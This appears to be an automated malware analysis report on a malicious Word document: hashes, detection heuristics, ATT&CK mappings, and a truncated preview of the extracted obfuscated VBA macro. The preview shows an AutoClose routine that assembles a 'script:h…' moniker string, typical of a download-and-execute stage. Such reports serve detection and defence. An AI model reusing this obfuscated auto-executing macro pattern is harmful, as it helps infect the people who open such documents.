Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cfeb6532c9f07fe0…

MALICIOUS

Office (OLE)

208.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: ffef4412c6e0da8d61642ee3bb1aaca0 SHA-1: 890dc1b8b0ce020978f2203a61b58b465065120d SHA-256: cfeb6532c9f07fe0a5175f75576a3a64cf53df9133416561ff076e42018a7f31
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. Heuristics indicate the presence of an Auto_Close macro and a GetObject call, suggesting execution upon document closure. The VBA code is heavily obfuscated with mathematical functions and string concatenations, making its exact function difficult to determine, but it is typical of malware designed to download and execute further stages. The ClamAV detection further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6667830-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6667830-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52332 bytes
SHA-256: 7c029a2b93811d3af338acba2e02cab11f2f9a9b57e7ce72782be700c219619c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub cORAKonoWIZel()
zEYDAQOLgowoh = Val("47716.9") & "PoGYhIluPUKUZEruMuB"
Dim zudAsiQAaufyvarAfEPie
For zudAsiQAaufyvarAfEPie = 7 To 13
   Dim GOJIzamOwUjIFOMIrEToHYX
   GOJIzamOwUjIFOMIrEToHYX = Fix(73657)
Next
Dim pyKiMoiOFvikAlOA
Dim kADudyQEPYPy
For kADudyQEPYPy = 5 To 12
   Dim OZAFKozOg
   OZAFKozOg = Fix(50903)
Next
Dim tosYmEjASIL
tosYmEjASIL = Rnd(114)
If tosYmEjASIL > 35176 Then
   tosYmEjASIL = Exp(4)
End If
pyKiMoiOFvikAlOA = Rnd(135)
If pyKiMoiOFvikAlOA > 41593 Then
Debug.Print "iAhUtaREliK"
   pyKiMoiOFvikAlOA = Exp(5)
MIgydyGasiweLOieXovAl = 5204
End If
Dim DIaePakuQYuWUXEbu
DIaePakuQYuWUXEbu = Log(7)

DIaePakuQYuWUXEbu = DIaePakuQYuWUXEbu + Log(13)
Dim PYbOSIjynysabUsagUlYV
PYbOSIjynysabUsagUlYV = Log(2)

PYbOSIjynysabUsagUlYV = PYbOSIjynysabUsagUlYV + Log(12)

Debug.Print "JafiupagyiiXINyWedasa"
jYxiLOjyBEgyPEBEzaWA = Val("27074.10") & "jofEiiJYcoWOguGisawYtEn"
cUNIsuMOwONOaoGuBiSv = InStr("roLvililOHAz", "roLvililOHAzroLvililOHAz")
rEdEpEBEmaNppAsep = Val("95586.7") & "VOJohINaLAwuqOpyP"

Debug.Print "qSAvyHiFIBiWehyfIwuMen"
Dim sveseiUjibYsOXEZYgYWa
sveseiUjibYsOXEZYgYWa = Log(8)

sveseiUjibYsOXEZYgYWa = sveseiUjibYsOXEZYgYWa + Log(11)
Dim zYRuJarAKibosEjoS
ECEJEiUTiCeLdkeQubOm = 52622
Dim JaciqbYhVoSeFEzEzuZA
JaciqbYhVoSeFEzEzuZA = Log(1)

JaciqbYhVoSeFEzEzuZA = JaciqbYhVoSeFEzEzuZA + Log(11)
For zYRuJarAKibosEjoS = 5 To 11
myGIHItYQuXiaysuBIk = 17978
Dim wyfIXEnEtaI
wyfIXEnEtaI = Rnd(1210)
If wyfIXEnEtaI > 16364 Then
   wyfIXEnEtaI = Exp(10)
End If
   Dim hiROVaHoTaiaLAhYXOaYLE
   hiROVaHoTaiaLAhYXOaYLE = Fix(71682)
Dim qeHEiOKitUVALkuQaiAVu
qeHEiOKitUVALkuQaiAVu = Rnd(103)
If qeHEiOKitUVALkuQaiAVu > 7332 Then
   qeHEiOKitUVALkuQaiAVu = Exp(3)
End If
JefYBUvQIaIaHJaNIviQ = 70093
Next
End Sub
Sub AutoClose()
On Error Resume Next
QUmIZUCeQiBa = Val("62455.4") & "PeNoXuDUdiVaKi"
Debug.Print "DULEJYlIPUL"
Dim iXuKyQAvdU
iXuKyQAvdU = Rnd(119)
If iXuKyQAvdU > 79431 Then
   iXuKyQAvdU = Exp(9)
End If


tULYpjPeWUfIAF = vbNullString

zaWIGfUKuJAHYWytoVUPOC = InStr("MozOCiRyTibiFpooj", "MozOCiRyTibiFpoojMozOCiRyTibiFpooj")
qyPIYSUreh = 40109

Dim YHUKegoWeGULalaGIXD
YHUKegoWeGULalaGIXD = Log(9)

YHUKegoWeGULalaGIXD = YHUKegoWeGULalaGIXD + Log(11)
 tULYpjPeWUfIAF = tULYpjPeWUfIAF + IIf((261 + 522) = 783, "sc", "5q")
Dim vOSEwUkEXOLDEZ
vOSEwUkEXOLDEZ = Rnd(1310)
If vOSEwUkEXOLDEZ > 17370 Then
   vOSEwUkEXOLDEZ = Exp(10)
End If

tULYpjPeWUfIAF = tULYpjPeWUfIAF + IIf((120 + 240) = 360, "ri", "a")
RiBezuRYdixuMygOthYvI = 77607

Debug.Print "FIkiwuGiwIqIS"
tULYpjPeWUfIAF = tULYpjPeWUfIAF + IIf((66 + 132) = 198, "pt", "dXL")
qYFIXUnYwoiNuDEdera = Val("2598.7") & "KEDYPypUNaBOBEdITIb"
Dim lYDucyVAaICinewazquKAX
lYDucyVAaICinewazquKAX = Rnd(1010)
If lYDucyVAaICinewazquKAX > 33530 Then
   lYDucyVAaICinewazquKAX = Exp(10)
End If

Debug.Print "fYkomsURos"
mynIqirEwolwYgFaLauGO = Val("77944.1") & "wibovACYDoqyhUSaRU"
tULYpjPeWUfIAF = tULYpjPeWUfIAF + IIf((279 + 558) = 837, ":h", "KIj")
Dim FexawYPaboqYkUXopUPIp
CehOGYCUGuveBEaAX = InStr("iMOxUpEroBI", "iMOxUpEroBIiMOxUpEroBI")
BYKyJOhipoSYJaaIWAvOMAN = 12950
FexawYPaboqYkUXopUPIp = Log(3)
cYvaiEJayjo = Val("44712.4") & "qONESUvoWICAGukAp"

FexawYPaboqYkUXopUPIp = FexawYPaboqYkUXopUPIp + Log(13)
pOhejIkYPulDAkM = InStr("femOtyxErUwezA", "femOtyxErUwezAfemOtyxErUwezA")
Dim ZuroxSeWydADUpiWExuZ
ZuroxSeWydADUpiWExuZ = Log(2)

ZuroxSeWydADUpiWExuZ = ZuroxSeWydADUpiWExuZ + Log(12)
jIRISysUJAt = InStr("bYbYqOSuRYLMIHEqAK", "bYbYqOSuRYLMIHEqAKbYbYqOSuRYLMIHEqAK")

riLOHUMeHaayTUsx = Val("61062.7") & "FymkAPyWYMU"
Dim QYznADoHuWOHACEwebAvuZA
QYznADoHuWOHACEwebAvuZA = Rnd(132)
If QYznADoHuWOHACEwebAvuZA > 27972 Then
   QYznADoHuWOHACEwebAvuZA = Exp(2)
End If
tULYpjPeW
... (truncated)

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